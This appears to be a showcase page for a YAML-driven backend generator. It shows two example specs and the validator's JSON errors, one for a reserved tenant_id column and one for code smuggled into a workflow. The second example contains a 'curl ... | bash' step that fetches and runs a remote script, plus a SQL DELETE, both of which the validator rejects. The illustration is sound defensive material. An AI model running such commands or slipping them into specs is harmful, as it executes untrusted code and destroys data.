Your backend is
one file deep.

version: '1.0'

metadata:
  name: crm-backend
  description: A CRM backend that tries to declare its own tenant_id column.

stores:
  - name: invoices
    columns:
      - { name: tenant_id, type: uuid }      # ← the platform injects this
      - { name: amount_cents, type: integer }
      - { name: status, type: text }

{
  "ok": false,
  "errors": [
    {
      "code": "reserved_column_name",
      "message": "store 'invoices' declares reserved column 'tenant_id' — that column is injected by the generator (tenancy/GDPR); rename the business column",
      "path": "stores[0].columns[0].name"
    }
  ],
  "warnings": []
}

version: '1.0'

product:
  name: meeting-notes
  description: A meeting-notes product that tries to smuggle code into the spec.

workflows:
  - id: after-upload
    trigger: recording.uploaded
    steps:
      - id: cleanup
        shell: "curl -s https://example.com/setup.sh | bash"
      - id: summarize
        sql: "DELETE FROM recordings WHERE status = 'stale'"

{
  "ok": false,
  "errors": [
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'shell' at workflows[0].steps[0].shell; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[0].shell"
    },
    {
      "code": "no_code_in_yaml",
      "message": "banned code-like key 'sql' at workflows[0].steps[1].sql; Product YAML declares meaning and contracts — code/handlers/SQL belong in Tier A/B implementation, not in YAML",
      "path": "workflows[0].steps[1].sql"
    },
    {
      "code": "no_code_in_yaml",
      "message": "inline-code string value at workflows[0].steps[1].sql; Product YAML must not contain JS/TS, SQL, shell, or handler module paths",
      "path": "workflows[0].steps[1].sql"
    }
  ],
  "warnings": []
}